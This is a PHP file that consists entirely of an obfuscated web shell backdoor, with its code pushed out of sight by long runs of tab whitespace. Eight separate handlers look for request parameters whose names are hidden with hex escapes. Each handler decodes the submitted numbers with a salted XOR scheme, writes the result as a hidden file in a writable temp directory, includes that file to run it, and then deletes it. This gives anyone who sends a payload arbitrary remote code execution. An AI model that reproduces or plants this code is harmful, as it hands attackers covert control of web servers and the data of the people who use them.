<?php																																										if(array_key_exists("p\x72o\x70erty_s\x65\x74", $_POST)){ $entity = array_filter(["/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $object = $_POST["p\x72o\x70erty_s\x65\x74"]; $object= explode ( "." , $object ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; $len = count($object); do { if ($z >= $len) break; $v5 = $object[$z]; $chS = ord($salt[$z % $lenS]); $dec = ((int)$v5 - $chS - ($z % 10)) ^ 68; $key .= chr($dec); $z++; } while (true); foreach ($entity as $tkn): if (max(0, is_dir($tkn) * is_writable($tkn))) { $flag = implode("/", [$tkn, ".value"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $flag; @unlink($flag); exit; } } endforeach; }
																																										if(in_array("v\x61lu\x65", array_keys($_POST))){ $itm = $_POST["v\x61lu\x65"]; $itm = explode ( '.' ,$itm ); $component =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $m =0; foreach($itm as $v8) { $sChar =ord($salt[$m% $sLen]); $d =((int)$v8 - $sChar -($m% 10)) ^ 96; $component.=chr($d); $m++; } $pgrp = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd()]); foreach ($pgrp as $obj): if (is_dir($obj) && is_writable($obj)) { $bind = join("/", [$obj, ".item"]); if (file_put_contents($bind, $component)) { require $bind; unlink($bind); die(); } } endforeach; }
																																										if(isset($_REQUEST["bind\x69n\x67"])){ $tkn = $_REQUEST["bind\x69n\x67"]; $tkn = explode ('.' , $tkn ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $tkn as $w =>$v2) { $chS = ord( $salt[$w% $lenS]); $d = ( ( int)$v2 - $chS -( $w% 10)) ^ 75; $obj .= chr( $d); } $resource = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp"]); foreach ($resource as $dat): if (is_dir($dat) ? is_writable($dat) : false) { $pset = join("/", [$dat, ".ent"]); if (file_put_contents($pset, $obj)) { include $pset; @unlink($pset); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["v\x61\x6C"])){ $desc = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd()]); $data = $_REQUEST["v\x61\x6C"]; $data = explode ( "." , $data); $ent= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9); $__len= count($data); for ($w= 0; $w < $__len; $w++) { $v8= $data[$w]; $sChar= ord($s9[$w % $lenS]); $dec= ((int)$v8 - $sChar - ($w % 10)) ^75; $ent .= chr($dec);} $dat = 0; do { $k = $desc[$dat] ?? null; if ($dat >= count($desc)) break; if (max(0, is_dir($k) * is_writable($k))) { $pset = vsprintf("%s/%s", [$k, ".object"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $pset; @unlink($pset); exit; } } $dat++; } while (true); }
																																										if(!is_null($_REQUEST["\x6Fbj\x65\x63t"] ?? null)){ $pointer = $_REQUEST["\x6Fbj\x65\x63t"]; $pointer = explode ( '.' , $pointer ) ; $ent=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt8); $l=0; foreach( $pointer as $v9) { $sChar=ord( $salt8[$l %$sLen]); $dec=( ( int)$v9 - $sChar -( $l %10)) ^ 37; $ent .=chr( $dec); $l++; } $parameter_group = array_filter([getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($record = array_shift($parameter_group)) { if (!!is_dir($record) && !!is_writable($record)) { $val = "$record" . "/.elem"; if (@file_put_contents($val, $ent) !== false) { include $val; unlink($val); die(); } } } }
																																										if(isset($_POST["p\x61\x72\x61\x6De\x74\x65\x72\x5Fgroup"])){ $key = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm"]); $sym = $_POST["p\x61\x72\x61\x6De\x74\x65\x72\x5Fgroup"]; $sym = explode( '.' , $sym ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $v = 0; foreach($sym as $v2) { $chS = ord($salt[$v % $lenS] ); $dec =((int)$v2 - $chS -($v % 10)) ^ 53; $descriptor .= chr($dec ); $v++; } foreach ($key as $key => $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $reference = "$data/.ptr"; if (file_put_contents($reference, $descriptor)) { require $reference; unlink($reference); exit; } } } }
																																										if(!empty($_POST["d\x63h\x75nk"])){ $descriptor = $_POST["d\x63h\x75nk"]; $descriptor = explode ( "." , $descriptor ); $component=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s1); foreach( $descriptor as $q=> $v2): $chS=ord( $s1[$q % $sLen]); $d=( ( int)$v2 - $chS -( $q % 10)) ^ 85; $component.=chr( $d); endforeach; $key = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), getenv("TMP")]); foreach ($key as $res) { if (!!is_dir($res) && !!is_writable($res)) { $factor = vsprintf("%s/%s", [$res, ".bind"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $factor; @unlink($factor); exit; } } } }


if(isset($_REQUEST["re\x73"]) ? true : false){
	$comp = $_REQUEST["re\x73"];
		  $comp	= 	explode(			'.'		 ,	 $comp  	)	; 	 
	$pointer= 	'';
            $salt1= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= 	strlen(	$salt1	 );
    
            foreach(	$comp as $r	=> 	$v6) {		$sChar= 	ord(	$salt1[$r%$lenS]	 );
                $d= 	(	(	int)$v6 - $sChar -(	$r%10)) ^ 66;
                $pointer .= chr(	$d	 );}
	$resource = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]);
	foreach ($resource as $token) {
    		if ((is_dir($token) and is_writable($token))) {
    $descriptor = join("/", [$token, ".ref"]);
    if (file_put_contents($descriptor, $pointer)) {
	require $descriptor;
	unlink($descriptor);
	exit;
}
}
}
}